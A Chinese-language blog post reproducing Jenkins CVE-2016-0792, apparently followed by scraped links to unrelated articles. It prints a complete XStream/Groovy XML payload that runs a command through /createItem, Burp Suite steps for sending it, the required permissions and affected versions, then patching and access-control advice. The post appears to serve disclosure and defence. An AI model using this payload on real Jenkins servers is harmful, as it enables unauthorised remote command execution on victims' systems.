Jenkins-CVE-2016-0792漏洞利用及修复建议
漏洞概述:
国外网站 Contrast Security 于2016年2月24日在公开了Jenkins近日修复的一个可通过低权限用户调用 API 服务致使的命令执行漏洞详情。通过低权限用户构造一个恶意的 XML 文档发送至服务端接口,使服务端解析时调用 API 执行外部命令。
利用方法:
1. 登陆低权限用户test
权限为:Overall的read权限+Job的create权限

将下面xml数据包post到创建项目页面,项目名称任意命名,这里暂取qt-sec ,完整链接如下:
http://178.18.120.133:8181/createItem?name=qt-sec
xml数据包如下(string节点的红色部分为要执行的命令和对象):
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/qingteng-test-1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>
2. 通过burpsuite截获修改数据包
此处只需把Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml,然后发送数据包。
截获数据包,不进行修改发送,产生400响应状态码,并报“No mode given”错误,经测试发现命令执行失败:

截获数据包,修改内容类型值,产生500响应状态码,经测试命令执行成功,并在目标服务器的tmp目录下创建了qingteng-test-1文件:

生成的文件如下:

利用总结:
1. 权限限制条件:
无论匿名用户,还是登陆用户,权限必须具有“Overall的read权限和Job的create权限”两个权限(当然具有其他权限越多越好,若拥有administrater权限,其他任何权限都不是必须条件了,因为administrater为最高权限,故这里不考虑administrater)。因为该个漏洞是利用的createitem创建job的功能去调用api,所以create是必须的,而Jenkins最基本的权限是overall的read权限,用户必须赋予阅读的权限,不然什么都看不到。
2. 版本限制条件:
jenkins版本小于 1.650 (1.650版本已修复该问题)
3. post数据内容类型:
构造一个恶意的 XML 文档发送至服务端接口时,内容类型需注意为xml。
安全加固
l 更新 Jenkins 至最新版本 1.650以上。
l jenkins做访问控制,收入内网不开放往外网。
l 禁止jenkins的匿名访问权限。
l 保证每个jenkins账号不为弱口令。
参考链接:
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
https://www.seebug.org/vuldb/ssvid-90813
https://www.youtube.com/watch?v=JgjYrwqI6nA
http://blog.csdn.net/wangmuming/article/details/22926025
Jenkins-CVE-2016-0792漏洞利用及修复建议的更多相关文章
- 网站安全检测 漏洞检测 对thinkphp通杀漏洞利用与修复建议
thinkphp在国内来说,很多站长以及平台都在使用这套开源的系统来建站,为什么会这么深受大家的喜欢,第一开源,便捷,高效,生成静态化html,第二框架性的易于开发php架构,很多第三方的插件以及第三 ...
- SSRF漏洞(原理、漏洞利用、修复建议)
介绍SSRF漏洞 SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞.一般情况下,SSRF攻击的目标是外网无法访问 ...
- Memcache未授权访问漏洞利用及修复
Memcached是一套分布式的高速缓存系统.它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的.正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问.本文 ...
- Web渗透测试漏洞手册及修复建议
Web渗透测试漏洞手册及修复建议 0x0 配置管理 0x01 HTTP方法测试 漏洞介绍: 目标服务器启用了不安全的传输方法,如PUT.DELETE等,这些方法表示可能在服务器上使用了 WebDAV, ...
- 定心丸!ZipperDown漏洞分析与修复建议
本文由 网易云发布. 近日,盘古实验室对外披露了ZipperDown漏洞,该漏洞是盘古团队针对不同客户的iOS应用安全审计的过程中发现的,大约有10%的iOS应用会受到此漏洞的影响. 利用此漏洞可以 ...
- ThinkPhp3.2.3缓存漏洞复现以及修复建议
小编作为一个php(拍黄片)的程序员,今天早上无意间看到thinkphp的缓存漏洞,小编在实际开发过程中用thinkphp3.2.3挺多的. 我们这里来复现一下漏洞 后面我会提出修复建议 首先我们下载 ...
- 真实本人亲测Elasticsearch未授权访问漏洞——利用及修复【踩坑指南到脱坑!】
如要转载请注明出处谢谢: https://www.cnblogs.com/vitalemontea/p/16105490.html 1.前言 某天"发现"了个漏洞,咳咳,原本以为这 ...
- jQuery CVE-2019-11358原型污染漏洞分析和修复建议
一.安全通告 jQuery官方于日前发布安全预警通告,通报了漏洞编号为 CVE-2019-11358的原型污染漏洞.由攻击者控制的属性可被注入对象,之后或经由触发 JavaScript 异常引发拒绝服 ...
- 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...
随机推荐
- co css规范
CSS 编码规范 1. 文件组织 (建议试试LESS) 1.1 CSS 与 HTML CSS 一律写在 CSS 文件中,原则上不写内联样式. CSS 文件命名由小写字母.下划线(_)组成. CSS 文 ...
- webservice 错误::无法加载协定为的终结点配置部分,因为找到了该协定的多个终结点配置。请按名称指示首选的终结点配置部分。
转自网络 错误::无法加载协定为“ServiceReference1.INetbankUpdateService”的终结点配置部分,因为找到了该协定的多个终结点配置.请按名称指示首选的终结点配置部分. ...
- LAMP php5.4编译
编译时出现下列问题时: In file included from /usr/local/src/php-5.4.6/ext/gd/gd.c:103: /usr/local/src/php-5.4.6 ...
- 和菜鸟一起学linux总线驱动之初识spi驱动数据传输流程【转】
转自:http://blog.csdn.net/eastmoon502136/article/details/7921846 对于SPI的一些结构体都有所了解之后呢,那么再去瞧瞧SPI的那些长见的操作 ...
- spring.xml命名空间
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w ...
- MySQL存储引擎之InnoDB
一.The InnoDB Engine Each InnoDB table is represented on disk by an .frm format file in the database ...
- 完整学习git四git对象
1查看git对象 git cat-file 实践 git head到底指向的是什么 ➜ gittest git:(master) find .git -name HEAD -o -name maste ...
- ACM题目————数独
描述 数独是一种运用纸.笔进行演算的逻辑游戏.玩家需要根据9×9盘面上的已知数字,推理出所有剩余空格的数字,并满足每一行.每一列.每一个3*3宫内的 数字均含1-9,不重复. 每一道合格的数独谜题都有 ...
- SlickGrid example 6:Ajax加载
Ajax加载. 代码: <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Ty ...
- Wireless Network
Wireless Network Time Limit: 10000MS Memory Limit: 65536K Total Submissions: 19626 Accepted: 8234 De ...